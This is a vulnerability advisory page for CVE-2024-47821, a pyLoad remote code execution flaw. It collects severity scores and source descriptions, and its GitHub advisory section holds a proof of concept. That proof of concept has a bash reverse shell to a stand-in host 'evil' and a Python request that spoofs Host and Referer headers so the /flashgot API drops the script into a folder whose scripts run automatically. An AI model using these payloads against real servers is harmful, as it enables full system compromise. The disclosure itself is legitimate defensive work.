CVE-2024-47821
JSON

9.1critical

pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

Severity
9.1critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.68% (higher than 53% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-w7hq-f2pj-c53gPYSEC-2024-302

Description

pyLoad is a free and open-source Download Manager. The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.

Affected

Product or packageVersionsReported by
pyload pyload< 0.5.0b3.dev87, before 0.5.0b3.dev87, 0.5.0CVE List, NVD
pyload-ng (PyPI)before 0.5.0b3.dev87, up to 0.5.0GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
GitHub9.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
NVD2.3low CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
PyPA Advisory Database2.3low CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Classification

CWE-78

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

pyLoad is a free and open-source Download Manager. The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.

GitHub Advisory Database
Summary

The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes

  1. Change the download folder to /home/<user>/.pyload/scripts
  2. Change permissions for downloaded files:
    1. Change permissions of downloads: on
    2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

Referer header check

def flashgot():
    if flask.request.referrer not in (
        "http://localhost:9666/flashgot",
        "http://127.0.0.1:9666/flashgot",
    ):
        flask.abort(500)
  ...

Host header check for local check

def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
            "127.0.0.1:9666",
            "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403

    return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC

Create a malicious file. I have created a reverse shell

#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.

import requests

url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {
    "package": "download_finished",  
    "passwords": "optional_password",  
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}


response = requests.post(url, data=data, headers=headers)

When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots

Download folder

1

exp.sh is downloaded

2

Script is run

3

Reverse shell connection is received

4
Impact

This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

NVD (es)

pyLoad es un gestor de descargas gratuito y de código abierto. La carpeta `/.pyload/scripts` contiene scripts que se ejecutan cuando se completan determinadas acciones, por ejemplo, cuando finaliza una descarga. Al descargar un archivo ejecutable en una carpeta en /scripts y realizar la acción correspondiente, se puede lograr la ejecución remota de código en versiones de la rama 0.5 anteriores a 0.5.0b3.dev87. Se puede descargar un archivo en una carpeta de este tipo cambiando la carpeta de descarga a una carpeta en la ruta `/scripts` y utilizando la API `/flashgot` para descargar el archivo. Esta vulnerabilidad permite a un atacante con acceso cambiar la configuración en un servidor pyload para ejecutar código arbitrario y comprometer por completo el sistema. La versión 0.5.0b3.dev87 soluciona este problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-47821 changed 2024-10-28CVE Terms of Use
GitHub Advisory DatabaseGHSA-w7hq-f2pj-c53g changed 2026-06-08CC-BY-4.0
NVDCVE-2024-47821 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2024-302 changed 2026-05-21CC-BY-4.0